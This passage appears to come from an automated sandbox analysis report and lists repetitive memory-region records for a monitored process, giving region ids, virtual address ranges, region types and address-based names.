end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3775 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3776 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3777 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3778 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3779 start_va = 0xb2f0000 end_va = 0xb590fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3780 start_va = 0x9870000 end_va = 0x9b0cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3787 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3788 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3789 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3790 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3791 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3792 start_va = 0xb2f0000 end_va = 0xb593fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3802 start_va = 0x9870000 end_va = 0x9b0afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3803 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3804 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3805 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3806 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3807 start_va = 0xb2f0000 end_va = 0xb597fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3808 start_va = 0x9870000 end_va = 0x9b12fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3809 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3810 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3811 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3812 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3813 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3814 start_va = 0xb2f0000 end_va = 0xb597fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3826 start_va = 0x9870000 end_va = 0x9b18fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3828 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3829 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3830 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3831 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3832 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3852 start_va = 0xb2f0000 end_va = 0xb5a5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3862 start_va = 0x9870000 end_va = 0x9b23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3866 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3867 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3868 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3869 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3870 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3874 start_va = 0xb2f0000 end_va = 0xb5a9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3879 start_va = 0x9870000 end_va = 0x9b24fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3880 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3881 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3882 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3883 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3913 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3918 start_va = 0xb2f0000 end_va = 0xb5a2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3919 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3920 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3921 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3922 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3923 start_va = 0x9870000 end_va = 0x9b27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3924 start_va = 0xb2f0000 end_va = 0xb5acfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3925 start_va = 0x9870000 end_va = 0x9b34fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3926 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3927 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3928 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3929 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3930 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3931 start_va = 0xb2f0000 end_va = 0xb5b2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3932 start_va = 0x9870000 end_va = 0x9b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3933 start_va = 0xb2f0000 end_va = 0xb5b8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3934 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3935 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3936 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3937 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3938 start_va = 0x9870000 end_va = 0x9b33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3939 start_va = 0xb2f0000 end_va = 0xb5b7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3940 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3941 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3942 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3943 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3944 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3945 start_va = 0x9870000 end_va = 0x9b44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3946 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3947 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3948 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3949 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3950 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3951 start_va = 0xb2f0000 end_va = 0xb5c8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3952 start_va = 0x9870000 end_va = 0x9b42fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3953 start_va = 0xb2f0000 end_va = 0xb5c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3954 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3955 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3956 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3957 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3958 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3959 start_va = 0x9870000 end_va = 0x9b4efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3960 start_va = 0xb2f0000 end_va = 0xb5cdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3961 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3962 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3963 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3964 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3965 start_va = 0x9870000 end_va = 0x9b54fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3966 start_va = 0xb2f0000 end_va = 0xb5c8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3967 start_va = 0x9870000 end_va = 0x9b4dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3968 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3969 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3970 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3971 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3972 start_va = 0xb2f0000 end_va = 0xb5cefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3973 start_va = 0x9870000 end_va = 0x9b5afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3974 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3975 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3976 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3977 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3978 start_va = 0xb2f0000 end_va = 0xb5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3979 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3980 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3981 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3982 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3983 start_va = 0x9870000 end_va = 0x9b5afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3984 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3985 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3986 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3987 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3988 start_va = 0xb2f0000 end_va = 0xb5e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3989 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3990 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3991 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3992 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3993 start_va = 0x9870000 end_va = 0x9b62fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3994 start_va = 0xb2f0000 end_va = 0xb5e5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 3995 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3996 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3997 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3998 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3999 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4000 start_va = 0x9870000 end_va = 0x9b68fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4001 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4002 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4003 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4004 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4005 start_va = 0xb2f0000 end_va = 0xb5ebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4006 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4007 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4008 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4009 start_va = 0x9870000 end_va = 0x9b70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4010 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4011 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4012 start_va = 0xb2f0000 end_va = 0xb5ecfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4013 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4014 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4015 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4016 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4017 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4018 start_va = 0x9870000 end_va = 0x9b72fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4019 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4020 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4021 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4022 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4023 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4024 start_va = 0xb2f0000 end_va = 0xb5f8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4025 start_va = 0x9870000 end_va = 0x9b70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4026 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4027 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4028 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4029 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4030 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4031 start_va = 0xb2f0000 end_va = 0xb5f9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4032 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4033 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4034 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4035 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4036 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4037 start_va = 0x9870000 end_va = 0x9b76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4038 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4039 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4040 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4041 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4042 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4043 start_va = 0xb2f0000 end_va = 0xb5fcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4044 start_va = 0x9870000 end_va = 0x9b7efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4045 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4046 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4047 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4048 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4049 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4050 start_va = 0xb2f0000 end_va = 0xb5fafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4051 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4052 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4053 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4054 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4055 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4056 start_va = 0x9870000 end_va = 0x9b80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 4057 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 4058 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4059 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4060 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4061 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 4062 start_va = 0xb2f0000 end_va = 0xb606fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2f0000" filename = "" Region: id = 4063 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 4064 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 4065 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4066 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 4067 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 